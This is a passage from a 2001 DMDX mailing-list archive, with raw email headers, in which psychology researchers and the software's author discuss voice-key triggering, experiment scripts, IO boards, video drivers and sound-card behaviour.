size of the ""enhanced >window"" parameter. I found that by repeatedly quitting and re-entering the >Test Vox, I could adjust the ""enhanced window"" so as to suppress the >Digital Vox triggering at the start of the test, and indeed also when >running items. > >The problem then is that : a) either I leave the VU parameter and the >enhanced VU parameter at satisfactory level (i.e. triggering at normal >voice levels), and then I need to increase the window size at values >greater than 200 ms, or b) I use a window size of, say 120 ms, and then I >have to adjust the two VUs at levels such that triggering occurs only when >subject shout at the microphone. > >Thus one question I have is : to what extent does the setting of the >enhanced window parameter to such large values as 200 ms impair the >precision of response time measurements ? There are lurkers on this list who know a lot more about how the enhanced VOX features work as I put them in there at their request. It will trigger on sibilant components of the input which has a separate threshold, if you don't want that set he sibilant threshold through to maximum. It will increase the latency of triggers as a larger amount of energy has to be detected before the trigger threshold is reached, given that it's an amount of energy the time that various wave forms take to accumulate that energy is likely to be different, once again, lurkers like Dirk can probably give you a scientific answer, I'm just the programmer. You could also set the window to a large enough size that you could conceivably miss short utterances but I doubt that 200ms is long enough for that. If this is not to your liking you can sponsor and addition to DMDX, a modification to the DigitalVOX device that allows suppression of triggers for a specified number of milliseconds. I was looking at the code to do this yesterday and it's not non-trivial, that's a hairy little piece of code and I can't just reject a trigger once it's received and go find another so I'm not going to add it for gratis. Unfortunately the current sponsor denotation is a digital camera with a zoom and preferably with a USB port which is a lot for a relatively small addition, but that's the state of the union. Perhaps Steve would be amenable to splitting the donation with you as he appears to be affected by a similar shoddy sound hardware. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The other line always moves faster. >From DMDX-owner@psy1.psych.arizona.edu Sun May 20 18:26:03 2001 Received: from currawong.maccs.mq.edu.au (root@currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA17103 for ; Sun, 20 May 2001 18:24:59 -0700 Received: (from nobody@localhost) by currawong.maccs.mq.edu.au (8.9.3/8.8.7) id LAA07142 for DMDX@psy1.psych.arizona.edu; Mon, 21 May 2001 11:24:50 +1000 From: Anna Woollams To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: more of the DigitalVOX immediate triggering problem Message-ID: <990408290.3b086e626ddea@www.maccs.mq.edu.au> Date: Mon, 21 May 2001 11:24:50 +1000 (EST) References: <5.1.0.14.2.20010517093503.009eba00@psy1.psych.arizona.edu> In-Reply-To: <5.1.0.14.2.20010517093503.009eba00@psy1.psych.arizona.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDXers, We were experiencing exactly the same problem (immediate triggering of the DigitalVOX) here at Macquarie on a Dell Latitude C800 Laptop with ME and a Maestro soundcard running DMDX 1.3.01. We tried updating the drivers, and while this did help somewhat, it did not remove the problem. We also tried inserting the ""silence"" wav file, and this did not help either. We then tried placing the parameter in each item, and this seems to have solved the problem. I have no idea why, but it worked. So thanks Dr Hecht for the tip! Regards, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. >From DMDX-owner@psy1.psych.arizona.edu Sun May 20 18:59:55 2001 Received: from wizard.firn.edu (wizard.firn.edu [150.176.12.39]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA17211 for ; Sun, 20 May 2001 18:59:45 -0700 Received: from CONVERSION-DAEMON by WIZARD.FIRN.EDU (PMDF V5.2-33 #33499) id <01K3SW4N3LI80013P3@WIZARD.FIRN.EDU> for DMDX@psy1.psych.arizona.edu; Sun, 20 May 2001 21:58:53 EDT Received: from oemcomputer.fau.edu ([169.139.53.137]) by WIZARD.FIRN.EDU (PMDF V5.2-33 #33499) with ESMTP id <01K3SW4LN0EO0013X5@WIZARD.FIRN.EDU> for DMDX@psy1.psych.arizona.edu; Sun, 20 May 2001 21:58:53 -0400 (EDT) Date: Sun, 20 May 2001 21:57:58 -0400 From: ""Steven A. Hecht, Ph.D."" Subject: [DMDX] Re: more of the DigitalVOX immediate triggering problem In-reply-to: <990408290.3b086e626ddea@www.maccs.mq.edu.au> To: DMDX@psy1.psych.arizona.edu Message-id: <4.3.1.0.20010520215511.00b46b30@pop.fau.edu> MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii""; format=flowed References: <5.1.0.14.2.20010517093503.009eba00@psy1.psych.arizona.edu> <5.1.0.14.2.20010517093503.009eba00@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Anna, Glad to hear that adding the parameter at each trial solved your problem. I've found that by including both the t parameter and the silence .wav file solves the problem on all of my computers....Best, Steve Hecht At 11:24 AM 5/21/01 +1000, you wrote: >Dear DMDXers, > We were experiencing exactly the same problem (immediate > triggering >of the DigitalVOX) here at Macquarie on a Dell Latitude C800 Laptop with >ME and >a Maestro soundcard running DMDX 1.3.01. We tried updating the drivers, and >while this did help somewhat, it did not remove the problem. We also tried >inserting the ""silence"" wav file, and this did not help either. We then >tried >placing the parameter in each item, and this seems to have >solved the >problem. I have no idea why, but it worked. So thanks Dr Hecht for the tip! > >Regards, >Anna W. > > >This Message is intended for the addressee named and may contain >confidential information. If you are not the intended recipient, please >delete it and notify the sender. Views expressed in this message are those >of the individual sender and are not necessarily the views >of The Macquarie Centre for Cognitive Science. >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ********************************************************* Steven A. Hecht, Assistant Professor College of Liberal Arts Division of Psychology Florida Atlantic University 2912 College Avenue Davie, FL 33314 Office Phone : 954-236-1176 Fax : 954-236-1099 ********************************************************* >From DMDX-owner@psy1.psych.arizona.edu Mon Jun 4 10:16:18 2001 Received: from hotmail.com (f44.law7.hotmail.com [216.33.237.44]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA22324 for ; Mon, 4 Jun 2001 10:15:32 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 4 Jun 2001 10:15:01 -0700 Received: from 65.32.44.71 by lw7fd.law7.hotmail.msn.com with HTTP; Mon, 04 Jun 2001 17:15:01 GMT From: ""Melissa F. Schulz"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] DMDX =) Date: Mon, 04 Jun 2001 13:15:01 -0400 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I am new to DMDX and am writing my first program. I have a few questions about my code -- which I include at the bottom of this email. If you know the answers to any of my questions, I would greatly appreciate you sending them my way. Thanks! Melissa F. Schulz =) www.melissafschulz.com 1. DMDX REPETITION STRUCTURES: What is the DMDX equivalent to a C++ ""int x = 0; While (x < 10){experimental trials; x++;}"" repetition structure? Where would this repetition structure be placed relative to the code that is to be repeated? Also, will the effects of ""scrambling"" be maintained in code areas that are controlled by this structure? 2. UNLIMITED STIMULUS PRESENTATION (TERMINATED BY SHIFT KEY KEYPRESS): At the end of each trial sequence, I would like to display a ""bmp"" image for an unlimited amount of time. I would like the next trial sequence to begin by my participant's shift key response to this unlimited trial frame. How can I achieve this? 3. ""SCRAMBLING"" WHILE KEEPING PRACTICE AND EXPERIMENTAL TRIALS APART: I would like my practice stimuli to be ""scrambled"" and my experimental stimuli to also be ""scrambled."" However, I do not want them to be ""scrambled"" with each other. I tried to achieve this by using a backslash to separate practice and experimental conditions. Will I also need to include the and parameters? 4. SIMULTANIOUS WAV AND BMP PRESENTATION: I am looking for a sample line of code that simultaneously presents wav and bmp files. If you have this, would you please send it my way. 5. TIMING PARTICIPANT RESPONSES IN MILISECONDS: My intent is to begin the clock when the Target is shown. To do this, I have written the following code: +2001 /* ""R_PRATarget"" /;. Is there a better way to write this? I don't want to be even a few ms off on timing. 6. ANY ERRORS? =) The format of my experiment is the following: Ready Signal(500ms) / Prime(2000ms) /Mask(200ms) /Target(unlimited exposure time). I wish to measure participant RT to each Target by starting the clock at the onset of the target and stopping it upon my participants right or left shift key press. Is there anything preventing the following code from accomplishing this task effectively? Are any simplifying steps that can be implemented to increase readability? $ ! FILE: ColorPriming.rtf; ! AUTHOR: Melissa F. Schulz =); ! DATE: June 1, 2001; ! PURPOSE: First attempt to program experiment in DMDX; ! Practice Trials; $ 50000 /; +2001 ""+"" / ""R_PRAPrime"" / g ""p_mask""/ * ""R_PRATarget"" / /; -1001 ""+"" / ""R_PRAPrime"" / g ""p_mask""/* ""L_PRATarget"" / /; +2002 ""+"" / ""L_PRAPrime"" / g ""p_mask""/* ""R_PRATarget"" / /; -1002 ""+"" / ""L_PRAPrime"" / g ""p_mask""/* ""L_PRATarget"" / /; 50001 /; \\ $ 0 ""Now you are ready for the experiment"", ""Press SPACEBAR to continue""; 2 /; ! Experimental Trials; $ +1101 ""+"" / ""R Res Ret: Exp Stim 1"" / g ""mask""/ * ""Retinal Mtch 1"" / /; +1102 ""+"" / ""R Res Ret: Exp Stim 2"" / g ""mask""/* ""Retinal Mtch 2"" / /; +1103 ""+"" / ""R Res Ret: Exp Stim 3"" / g ""mask""/* ""Retinal Mtch 3"" / /; +1201 ""+"" / ""R Res Ret: Exp Stim 1"" / g ""mask""/* ""Reflectance Mtch 1"" / /; +1202 ""+"" / ""R Res Ret: Exp Stim 2"" / g ""mask""/* ""Reflectance Mtch 2"" / /; +1203 ""+"" / ""R Res Ret: Exp Stim 3"" / g ""mask""/* ""Reflectance Mtch 3"" / /; +1301 ""+"" / ""R Res Ret: Ctr Stim 1"" / g ""mask""/* ""Identical Stim 1"" / /; +1302 ""+""/ ""R Res Ret: Ctr Stim 2"" / g ""mask""/* ""Idenitcal Stim2 "" / /; +1303 ""+""/ ""R Res Ret: Ctr Stim 3"" / g ""mask""/* ""Identical Stim 3"" / /; +1401 ""+""/ ""R Res Ret: Ctr Stim 1"" / g ""mask""/* ""Mismatch Stim 1"" / /; +1402 ""+""/ ""R Res Ret: Ctr Stim 2"" / g ""mask""/* ""Mismatch Stim 2 "" / /; +1403 ""+""/ ""R Res Ret: Ctr Stim 3"" / g ""mask""/* ""Mismatch Stim 3"" / /; $ 0 ""Take a Break..."", ""Then press SPACEBAR to continue""; 2 /; $ -2101 ""+""/ ""L Res Ret: Exp Stim 1"" / g ""mask""/ * ""Retinal Mtch 1"" / /; -2102 ""+""/ ""L Res Ret: Exp Stim 2"" / g ""mask""/* ""Retinal Mtch 2"" / /; -2103 ""+""/ ""L Res Ret: Exp Stim 3"" / g ""mask""/* ""Retinal Mtch 3"" / /; -2201 ""+""/ ""L Res Ret: Exp Stim 1"" / g ""mask""/* ""Reflectance Mtch 1""/ /; -2202 ""+""/< ""L Res Ret: Exp Stim 2"" / g ""mask""/* ""Reflectance Mtch 2"" / /; -2203 ""+""/ ""L Res Ret: Exp Stim 3"" / g ""mask""/* ""Reflectance Mtch 3""/ /; -2301 ""+""/ ""L Res Ret: Ctr Stim 1"" / g ""mask""/* ""Identical Stim 1"" / /; -2302 ""+""/ ""L Res Ret: Ctr Stim 2"" / g ""mask""/* ""Identical Stim 2"" / /; -2303 ""+""/ ""L Res Ret: Ctr Stim 3"" / g ""mask""/* ""Identical Stim 3""/ /; -2401 ""+""/ ""L Res Ret: Ctr Stim 1"" / g ""mask""/* ""Mismatch Stim 1"" / /; -2402 ""+""/ ""L Res Ret: Ctr Stim 2"" / g ""mask""/* ""Mismatch Stim 2"" / /; -2403 ""+""/ ""L Res Ret: Ctr Stim 3""/ g ""mask""/* ""Mismatch Stim 3"" / /; $ 1 ""thankyou_sound""/; L ""Experiment Over! Thank you for your participation =)."" ; $ _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com >From DMDX-owner@psy1.psych.arizona.edu Mon Jun 4 11:48:15 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA22695 for ; Mon, 4 Jun 2001 11:48:03 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3B17E22A00022FB4 for DMDX@psy1.psych.arizona.edu; Mon, 4 Jun 2001 11:48:01 -0700 Message-Id: <5.1.0.14.2.20010604113606.00a1cda0@psy1.psych.arizona.edu> Date: Mon, 04 Jun 2001 11:48:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: DMDX =) In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:15 PM 6/4/01 -0400, you wrote: >Hi, > >I am new to DMDX and am writing my first program. They're not programs, they're scripts, no ""code"" gets generated or executed. >I have a few questions about my code -- which I include at the bottom of >this email. If you know the answers to any of my questions, I would >greatly appreciate you sending them my way. > >Thanks! >Melissa F. Schulz =) >www.melissafschulz.com > >1. DMDX REPETITION STRUCTURES: What is the DMDX equivalent to a C++ ""int >x = 0; While (x < 10){experimental trials; x++;}"" repetition structure? See the keywords and . http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhincrementcounterkeyword.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchifcounterlekeyword.htm > Where would this repetition structure be placed relative to the code > that is to be repeated? Also, will the effects of ""scrambling"" be > maintained in code areas that are controlled by this structure? Scrambling reorders the script, then that script is processed item by item. Branching is an extremely advanced capability, I would recommend starting with tasks that don't require it or use the old brute force method of duplicating the items the number of times they need to be executed. Because the item file can be scrambled branching becomes very complicated and should only be attempted by someone who is very familiar with the ins and outs of scrambling. >2. UNLIMITED STIMULUS PRESENTATION (TERMINATED BY SHIFT KEY KEYPRESS): At >the end of each trial sequence, I would like to display a ""bmp"" image for >an unlimited amount of time. I would like the next trial sequence to begin >by my participant's shift key response to this unlimited trial frame. How >can I achieve this? +1 g ""bmp"" *; >3. ""SCRAMBLING"" WHILE KEEPING PRACTICE AND EXPERIMENTAL TRIALS APART: I >would like my practice stimuli to be ""scrambled"" and my experimental >stimuli to also be ""scrambled."" However, I do not want them to be >""scrambled"" with each other. I tried to achieve this by using a backslash >to separate practice and experimental conditions. Will I also need to >include the and parameters? Nope, steer clear of all multi scramble stuff. >4. SIMULTANIOUS WAV AND BMP PRESENTATION: I am looking for a sample line >of code that simultaneously presents wav and bmp files. If you have this, >would you please send it my way. See the help file: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsound.htm >5. TIMING PARTICIPANT RESPONSES IN MILISECONDS: My intent is to begin the >clock when the Target is shown. To do this, I have written the following >code: +2001 /* ""R_PRATarget"" /;. Is there a better way to write this? I >don't want to be even a few ms off on timing. Nope, that's it. >6. ANY ERRORS? =) The format of my experiment is the following: >Ready Signal(500ms) / Prime(2000ms) /Mask(200ms) /Target(unlimited >exposure time). I wish to measure participant RT to each Target by >starting the clock at the onset of the target and stopping it upon my >participants right or left shift key press. Is there anything preventing >the following code from accomplishing this task effectively? Run it and see. I'm not about to wrack my brains trying to find potential errors in someone's script. > Are any simplifying steps that can be implemented to increase readability? Sorry, no effort has been made (nor is ever likely to be made) as far as increasing readability is concerned. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Has everyone noticed that all the letters of the word ""database"" are typed with the left hand? Now the layout of the QWERTYUIOP typewriter keyboard was designed, among other things, to facilitate the even use of both hands. It follows, therefore, that writing about databases is not only unnatural, but a lot harder than it appears. >From DMDX-owner@psy1.psych.arizona.edu Mon Jun 4 12:05:43 2001 Received: from mhub6.tc.umn.edu (mhub6.tc.umn.edu [160.94.218.243]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA22829 for ; Mon, 4 Jun 2001 12:05:37 -0700 Received: from [160.94.187.29] by mhub6.tc.umn.edu with ESMTP for DMDX@psy1.psych.arizona.edu; Mon, 4 Jun 2001 14:04:54 -0500 Date: Mon, 4 Jun 2001 14:57:49 -0500 (CDT) From: Edward Bernat To: Subject: [DMDX] Two IO cards? Message-Id: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX list participants, I am working to trigger several external devices using DMDX in each trial. In particular we have a stimulator (box for delivering low-level electric shocks) which was designed to use all 3 ports of a PIO-12 board (or the CIO-DIO24 which we are using). Is there any way to have DMDX talk to two IO boards, such that we could have one control the stimulator and the other for 'regular' IO (e.g. triggering our Neuroscan Synamps)? Any assistance is appreciated, Ed Bernat >From DMDX-owner@psy1.psych.arizona.edu Mon Jun 4 13:02:18 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA23004 for ; Mon, 4 Jun 2001 13:02:11 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3B17E22A00024DEE for DMDX@psy1.psych.arizona.edu; Mon, 4 Jun 2001 13:02:10 -0700 Message-Id: <5.1.0.14.2.20010604130039.00a1dbc0@psy1.psych.arizona.edu> Date: Mon, 04 Jun 2001 13:02:46 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Two IO cards? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:57 PM 6/4/01 -0500, you wrote: >DMDX list participants, > >I am working to trigger several external devices using DMDX in each trial. >In particular we have a stimulator (box for delivering low-level electric >shocks) which was designed to use all 3 ports of a PIO-12 board (or the >CIO-DIO24 which we are using). Is there any way to have DMDX talk to two >IO boards, such that we could have one control the stimulator and the >other for 'regular' IO (e.g. triggering our Neuroscan Synamps)? Not as DMDX stands. I could add such capability but that's a *lot* of editing and you'd have to reimburse me for my efforts. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Has everyone noticed that all the letters of the word ""database"" are typed with the left hand? Now the layout of the QWERTYUIOP typewriter keyboard was designed, among other things, to facilitate the even use of both hands. It follows, therefore, that writing about databases is not only unnatural, but a lot harder than it appears. >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 6 20:32:30 2001 Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.121.49]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA29838 for ; Wed, 6 Jun 2001 20:31:48 -0700 Received: from anybodyi.u.arizona.edu ([66.1.48.98]) by scaup.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id UAA24378 for ; Wed, 6 Jun 2001 20:31:43 -0700 (PDT) Message-Id: <5.1.0.14.2.20010606182611.009e22d0@psy1.psych.arizona.edu> Date: Wed, 06 Jun 2001 20:31:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] geForce2 MX Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Looks like the latest 12.41 video drivers from NVIDIA don't fix the issues that DMDX has with the GeForce2 video cards. While I only have a GeForce2 MX I strongly suspect the error in their driver occurs with all GeForce chips when DMDX is run on them. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Faith is the quality that enables you to eat blackberry jam on a picnic without looking to see whether the seeds move. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 14 05:08:33 2001 Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA05631 for ; Thu, 14 Jun 2001 05:07:09 -0700 Received: from eis.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Thu, 14 Jun 2001 13:06:57 +0100 Received: from bris.ac.uk (pc170.pol.bris.ac.uk [137.222.60.170]) by eis.bris.ac.uk (8.11.4/8.11.3) with ESMTP id f5EC5NW26857 for ; Thu, 14 Jun 2001 13:05:23 +0100 (BST) Message-ID: <3B28A6F8.85D95A75@bris.ac.uk> Date: Thu, 14 Jun 2001 12:58:48 +0100 From: Markus Damian MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] moving picture Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDX users: I would like to present a bmp image that moves across the screen in one continuous linear motion. One way of doing it is to prepare an .avi file and present it as a stimulus of type ""digital video"". However, since this is such a simple (and standard) constellation, I suspect there must be an easier way of doing it. I tried the ""animate"" function to present a bitmap, then reschedule it repeatedly while a counter modfies the x (or y) coordinate of the bitmap. Unfortunately, I cannot seem to get this to work .At the beginning of each trial, I initialize a counter to a certain initial x coordinate value (such as , then get the animation going including an command, and for each subsequent frame presentation, the counter is incremented (e.g., ) such that the x coordinate is continually being modified. My problem is how to pass the counter value to the declaration of the coordinate ( ). To my knowledge, only allows variables with a numerical name (which I find somewhat confusing - why can't one create a variable named ""variable"", ""counter"" or ""index"" or similar?) whereas accepts only numerical arguments - how do I get the value of the counter into x? If I state , it will of course interpret 1 as a coordinate, and not as the value of counter 1. Any suggestions? Is there a hidden trick that I should know about? Or is there an altogether simpler solution to this problem? Markus Damian +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= Markus Damian University of Bristol Department of Experimental Psychology 8 Woodland Road Bristol, BS8 1TN United Kingdom Tel: (+44) (0)117 - 954 6840 Fax: (+44) (0)117 - 928 8588 Email: m.damian@bristol.ac.uk +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 14 09:17:02 2001 Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA06254 for ; Thu, 14 Jun 2001 09:16:50 -0700 Received: from anybodyi.u.arizona.edu ([66.1.48.98]) by falcon.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id JAA21146 for ; Thu, 14 Jun 2001 09:15:25 -0700 (PDT) Message-Id: <5.1.0.14.2.20010614090550.009f4e40@psy1.psych.arizona.edu> Date: Thu, 14 Jun 2001 09:14:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: moving picture In-Reply-To: <3B28A6F8.85D95A75@bris.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:58 PM 6/14/01 +0100, you wrote: >Dear DMDX users: > > >I would like to present a bmp image that moves across the screen in one >continuous linear motion. One way of doing it is to prepare an .avi file >and present it as a stimulus of type ""digital video"". However, since >this is such a simple (and standard) constellation, I suspect there must >be an easier way of doing it. I tried the ""animate"" function to present >a bitmap, then reschedule it repeatedly while a counter modfies the x >(or y) coordinate of the bitmap. Unfortunately, I cannot seem to get >this to work .At the beginning of each trial, I initialize a counter to >a certain initial x coordinate value (such as , then >get the animation going including an command, and for each >subsequent frame presentation, the counter is incremented (e.g., 1>) such that the x coordinate is continually being modified. My >problem is how to pass the counter value to the declaration of the >coordinate ( ). You can't. > To my knowledge, only allows >variables with a numerical name (which I find somewhat confusing - why >can't one create a variable named ""variable"", ""counter"" or ""index"" or >similar? Because I haven't written the code that allows you to have non numeric names for counters. >) whereas accepts only numerical arguments - how do I get >the value of the counter into x? If I state , it will of course >interpret 1 as a coordinate, and not as the value of counter 1. Any >suggestions? Is there a hidden trick that I should know about? Or is >there an altogether simpler solution to this problem? The switch wouldn't work with a counter even if you could specify an x coordinate with a counter as counter values only change across items whereas works within an item. To move a bitmap across the screen you have to simply specify each of the frames, tedious yes, but perfectly easy. The is only for a cycling display, you would only use it if you wanted the bitmap to move across the screen multiple times. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Fri Jun 15 08:08:58 2001 Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA08968 for ; Fri, 15 Jun 2001 08:07:18 -0700 Received: from eis.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Fri, 15 Jun 2001 16:07:05 +0100 Received: from bris.ac.uk (pc170.pol.bris.ac.uk [137.222.60.170]) by eis.bris.ac.uk (8.11.4/8.11.3) with ESMTP id f5FF5Xq18118 for ; Fri, 15 Jun 2001 16:05:33 +0100 (BST) Message-ID: <3B2A22AF.CB3F7296@bris.ac.uk> Date: Fri, 15 Jun 2001 15:58:55 +0100 From: Markus Damian MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] digital vox and audio output Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear DMDX users: >From the ""audio input"" section of DMDX help: ""Sound cards also tend to mix the output into the input as well, if you are playing wave files with the keyword at the same time as using the Audio Input devices there is a strong chance you will see that audio output in the audio input."" An experimental task that I commonly use is to present a sound file while simultaneously recording speech onset of a participant's vocal response. The above suggests that this is problematic as the sound file will interfere with the ""Digital Vox"" device. Do all sound cards mix the output into the input, or are there cards that provide an adequate separation of both streams? Is it worth trying out various makes/models? Markus Damian +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= Markus Damian University of Bristol Department of Experimental Psychology 8 Woodland Road Bristol, BS8 1TN United Kingdom Tel: (+44) (0)117 - 954 6840 Fax: (+44) (0)117 - 928 8588 Email: m.damian@bristol.ac.uk +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= >From DMDX-owner@psy1.psych.arizona.edu Fri Jun 15 09:19:54 2001 Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA09159 for ; Fri, 15 Jun 2001 09:19:46 -0700 Received: from anybodyi.u.arizona.edu ([66.1.48.98]) by hawk.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id JAA11196 for ; Fri, 15 Jun 2001 09:19:44 -0700 (PDT) Message-Id: <5.1.0.14.2.20010615091051.009e1110@psy1.psych.arizona.edu> Date: Fri, 15 Jun 2001 09:20:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: digital vox and audio output In-Reply-To: <3B2A22AF.CB3F7296@bris.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:58 PM 6/15/01 +0100, you wrote: >Dear DMDX users: > > > >From the ""audio input"" section of DMDX help: > >""Sound cards also tend to mix the output into the input as well, if you >are playing wave files with the keyword at the same time as using >the Audio Input devices there is a strong chance you will see that audio >output in the audio input."" > >An experimental task that I commonly use is to present a sound file >while simultaneously recording speech onset of a participant's vocal >response. The above suggests that this is problematic as the sound file >will interfere with the ""Digital Vox"" device. Do all sound cards mix the >output into the input, or are there cards that provide an adequate >separation of both streams? I suspect the older cards are more problematic however I don't have a very large N to judge by here. In any event it's possible that with some combination of mixer settings that you could override that behavior, I guess you'd have to see a Wave output device in the recording controls. > Is it worth trying out various makes/models? Yes. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 19 17:18:45 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA20552 for ; Tue, 19 Jun 2001 17:18:13 -0700 Received: from u.arizona.edu (128.196.98.189) by phobos.email.Arizona.EDU (5.1.056) (authenticated as smhayes@email.arizona.edu) id 3B1F829C000D41B8 for DMDX@psy1.psych.arizona.edu; Tue, 19 Jun 2001 17:18:12 -0700 Message-ID: <3B2FEC58.3871B847@u.arizona.edu> Date: Tue, 19 Jun 2001 17:20:40 -0700 From: Scott Hayes MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Correct/Incorrect Response Output Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu 